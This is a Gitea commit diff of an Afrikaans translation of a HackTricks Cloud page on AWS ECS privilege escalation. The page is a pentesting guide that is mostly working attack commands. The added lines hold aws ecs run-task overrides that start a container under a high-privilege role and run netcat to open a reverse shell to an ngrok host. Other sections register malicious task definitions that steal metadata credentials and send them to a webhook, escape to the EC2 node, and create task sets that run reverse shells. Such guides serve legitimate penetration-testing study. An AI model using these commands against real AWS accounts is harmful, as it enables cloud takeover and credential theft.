gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2025-12-26 20:54:14 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

Browse Source
This commit is contained in:
Translator
2025-08-31 08:13:44 +00:00
parent b11e2b049f
commit d8adbf8502
14 changed files with 75 additions and 27 deletions
Download Patch File Download Diff File Expand all files Collapse all files

102
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
View File

@@ -12,7 +12,7 @@ Meer **inligting oor ECS** in:
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
'n Aanvaller wat die `iam:PassRole`, `ecs:RegisterTaskDefinition` en `ecs:RunTask` toestemming in ECS misbruik, kan **'n nuwe taakdefinisie genereer** met 'n **kwaadaardige houer** wat die metadata-akkrediteerings steel en **dit uitvoer**.
'n aanvaller wat misbruik maak van die `iam:PassRole`, `ecs:RegisterTaskDefinition` en `ecs:RunTask` toestemming in ECS kan **generate a new task definition** met 'n **malicious container** wat die metadata credentials steel en dit **run it**.
{{#tabs }}
{{#tab name="Reverse Shell" }}
@@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
{{#tab name="Webhook" }}
Skep 'n webhook met 'n webwerf soos webhook.site
Skep 'n webhook op 'n diens soos webhook.site
```bash
# Create file container-definition.json
@@ -75,12 +75,58 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
{{#endtabs }}
**Potensiële Impak:** Direkte privesc na 'n ander ECS-rol.
**Potensiële impak:** Direkte privesc na 'n ander ECS-rol.
### `iam:PassRole`,`ecs:RunTask`
An attacker wat `iam:PassRole` en `ecs:RunTask` permissies het, kan 'n nuwe ECS taak begin met gemodifiseerde **execution role**, **task role** en die houer se **command**-waardes. Die `ecs run-task` CLI-opdrag bevat die `--overrides` vlag wat dit toelaat om tydens runtime die `executionRoleArn`, `taskRoleArn` en die houer se `command` te verander sonder om die task definition aan te raak.
Die gespesifiseerde IAM rolle vir `taskRoleArn` en `executionRoleArn` moet in hul trust policy vertrou/toegelaat word om deur `ecs-tasks.amazonaws.com` aangeneem te word.
Verder moet die attacker die volgende weet:
- ECS-klusternaam
- VPC-subnet
- Security group (As geen security group gespesifiseer is nie, sal die verstek een gebruik word)
- Task Definition naam en revisie
- Naam van die Container
```bash
aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
```
In die kodefragment hierbo skryf 'n attacker slegs die `taskRoleArn`-waarde oor. Die attacker moet egter die `iam:PassRole`-toestemming hê oor die `taskRoleArn` wat in die opdrag gespesifiseer is en oor die `executionRoleArn` wat in die taakdefinisie gespesifiseer is, vir die attack om plaas te vind.
As die IAM-role wat die attacker kan pass voldoende voorregte het om 'n ECR-image te pull en die ECS-task te begin (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) dan kan die attacker dieselfde IAM-role spesifiseer vir beide `executionRoleArn` en `taskRoleArn` in die `ecs run-task`-opdrag.
```sh
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
```
**Potential Impact:** Direkte privesc na enige ECS taakrol.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
Net soos in die vorige voorbeeld kan 'n aanvaller wat die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** toestemmings in ECS misbruik, 'n **nuwe taakdefinisie** genereer met 'n **kwaadaardige houer** wat die metadata-akkrediteerings steel en **dit uitvoer**.\
Echter, in hierdie geval moet daar 'n houerinstansie wees om die kwaadaardige taakdefinisie uit te voer.
Net soos in die vorige voorbeeld kan 'n aanvaller wat misbruik maak van die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** toestemmings in ECS **'n nuwe taakdefinisie genereer** met 'n **kwaadaardige kontener** wat die metadata credentials steel en **dit uitvoer**.\
Egter, in hierdie geval moet daar 'n container instance wees om die kwaadaardige taakdefinisie uit te voer.
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -98,9 +144,9 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
**Potensiële Impak:** Direkte privesc na enige ECS-rol.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
Net soos in die vorige voorbeeld kan 'n aanvaller wat die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** of **`ecs:CreateService`** toestemmings in ECS misbruik, **'n nuwe taakdefinisie genereer** met 'n **kwaadwillige houer** wat die metadata-akkrediteerings steel en **dit uitvoer deur 'n nuwe diens te skep met ten minste 1 taak wat loop.**
Net soos in die vorige voorbeeld kan 'n aanvaller wat die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** of **`ecs:CreateService`** toestemmings in ECS misbruik, **genereer 'n nuwe task definition** met 'n **skadelike container** wat die metadata credentials steel en dit **voer dit uit deur 'n nuwe service te skep met ten minste 1 taak wat loop.**
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -123,11 +169,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>
```
**Potensiële Impak:** Direkte privesc na enige ECS-rol.
**Potensiële impak:** Direkte privesc na enige ECS-rol.
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
Werklik, net met daardie toestemmings is dit moontlik om oorskrywings te gebruik om arbitrêre opdragte in 'n houer met 'n arbitrêre rol uit te voer met iets soos:
In werklikheid, net met daardie toestemmings is dit moontlik om overrides te gebruik om arbitrêre opdragte in 'n container met 'n arbitrêre rol uit te voer met iets soos:
```bash
aws ecs run-task \
--task-definition "<task-name>" \
@@ -135,16 +181,16 @@ aws ecs run-task \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
```
**Potensiële Impak:** Direkte privesc na enige ECS-rol.
**Potensiële impak:** Direkte privesc na enige ECS role.
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
Hierdie scenario is soos die vorige, maar **sonder** die **`iam:PassRole`** toestemming.\
Dit is steeds interessant omdat as jy 'n arbitrêre houer kan uitvoer, selfs al is dit sonder 'n rol, jy **'n bevoorregte houer kan uitvoer om te ontsnap** na die node en die **EC2 IAM-rol** en die **ander ECS-houer rolle** wat in die node loop, kan **steel**.\
Jy kan selfs **ander take dwing om binne die EC2-instantie** wat jy kompromitteer te loop om hul akrediteer te steel (soos bespreek in die [**Privesc na node afdeling**](aws-ecs-privesc.md#privesc-to-node)).
Dit is steeds interessant omdat as jy 'n ewekansige container kan uitvoer, selfs al is dit sonder 'n role, kan jy **'n privileged container laat loop om na die node te ontsnap** en **die EC2 IAM role** en **die ander ECS containers se roles** wat op die node loop, te steel.\
Jy kan selfs **ander tasks dwing om binne die EC2 instance** wat jy kompromitteer te loop om hul credentials te steel (as bespreek in die [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
> [!WARNING]
> Hierdie aanval is slegs moontlik as die **ECS-kluster EC2** instansies gebruik en nie Fargate nie.
> Hierdie aanval is slegs moontlik as die **ECS cluster gebruik EC2** instances en nie Fargate nie.
```bash
printf '[
{
@@ -187,12 +233,12 @@ aws ecs run-task --task-definition iam_exfiltration \
```
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
'n Aanvaller met die **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** kan **opdragte uitvoer** binne 'n loopende houer en die IAM-rol wat daaraan gekoppel is, uitbring (jy het die beskryf toestemmings nodig omdat dit nodig is om `aws ecs execute-command` te loop).\
Echter, om dit te doen, moet die houerinstansie die **ExecuteCommand-agent** loop (wat standaard nie is nie).
’n aanvaller met die **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** kan **opdragte uitvoer** binne 'n lopende container en die IAM-rol wat daaraan geheg is, eksfiltreer (jy het die describe-permissies nodig omdat dit nodig is om `aws ecs execute-command` te loop).\
Om dit te doen moet die containerinstansie egter die **ExecuteCommand agent** laat loop (wat standaard nie so is nie).
Daarom kan die aanvaller probeer om:
- **Probeer om 'n opdrag** in elke loopende houer uit te voer
- **Probeer 'n opdrag uit te voer** in elke lopende container
```bash
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
@@ -212,16 +258,16 @@ aws ecs execute-command --interactive \
```
- As hy **`ecs:RunTask`** het, voer 'n taak uit met `aws ecs run-task --enable-execute-command [...]`
- As hy **`ecs:StartTask`** het, voer 'n taak uit met `aws ecs start-task --enable-execute-command [...]`
- As hy **`ecs:CreateService`** het, skep 'n diens met `aws ecs create-service --enable-execute-command [...]`
- As hy **`ecs:UpdateService`** het, werk 'n diens op met `aws ecs update-service --enable-execute-command [...]`
- As hy **`ecs:CreateService`** het, skep 'n service met `aws ecs create-service --enable-execute-command [...]`
- As hy **`ecs:UpdateService`** het, werk 'n service by met `aws ecs update-service --enable-execute-command [...]`
Jy kan **voorbeelde van daardie opsies** in **vorige ECS privesc afdelings** vind.
Jy kan **voorbeelde van daardie opsies** vind in **vorige ECS privesc-afdelings**.
**Potensiële Impak:** Privesc na 'n ander rol wat aan houers gekoppel is.
**Potensiële impak:** Privesc na 'n ander rol wat aan houers gekoppel is.
### `ssm:StartSession`
Kyk in die **ssm privesc bladsy** hoe jy hierdie toestemming kan misbruik om **privesc na ECS**:
Kyk in die **ssm privesc page** hoe jy hierdie toestemming kan misbruik om **privesc to ECS**:
{{#ref}}
aws-ssm-privesc.md
@@ -229,24 +275,26 @@ aws-ssm-privesc.md
### `iam:PassRole`, `ec2:RunInstances`
Kyk in die **ec2 privesc bladsy** hoe jy hierdie toestemmings kan misbruik om **privesc na ECS**:
Kyk in die **ec2 privesc page** hoe jy hierdie permissies kan misbruik om **privesc to ECS**:
{{#ref}}
aws-ec2-privesc.md
{{#endref}}
### `?ecs:RegisterContainerInstance`
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
TODO: Is dit moontlik om 'n instansie van 'n ander AWS-rekening te registreer sodat take onder masjiene wat deur die aanvaller beheer word, uitgevoer word??
'n Aanvaller met hierdie permissies kan potensieel 'n EC2 instance registreer in 'n ECS cluster en take daarop uitvoer. Dit kan die aanvaller toelaat om arbitrêre kode uit te voer binne die konteks van die ECS tasks.
- TODO: Is dit moontlik om 'n instance te registreer vanaf 'n ander AWS account sodat take op masjiene wat deur die aanvaller beheer word uitgevoer word??
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
> [!NOTE]
> TODO: Toets dit
'n Aanvaller met die toestemmings `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, en `ecs:DescribeTaskSets` kan **'n kwaadwillige taakstel vir 'n bestaande ECS-diens skep en die primêre taakstel opdateer**. Dit stel die aanvaller in staat om **arbitraire kode binne die diens uit te voer**.
'n Aanvaller met die permissies `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, en `ecs:DescribeTaskSets` kan **'n kwaadwillige task set skep vir 'n bestaande ECS service en die primary task set opdateer**. Dit stel die aanvaller in staat om **arbitrêre kode binne die diens uit te voer**.
```bash
bashCopy code# Register a task definition with a reverse shell
# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
@@ -270,7 +318,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
```
**Potensiële Impak**: Voer arbitrêre kode uit in die geraakte diens, wat moontlik die funksionaliteit daarvan beïnvloed of sensitiewe data uitvreet.
**Potensiële impak**: Voer ewekansige kode uit in die aangetaste diens, wat moontlik sy funksionaliteit beïnvloed of die eksfiltrering van sensitiewe data tot gevolg hê.
## Verwysings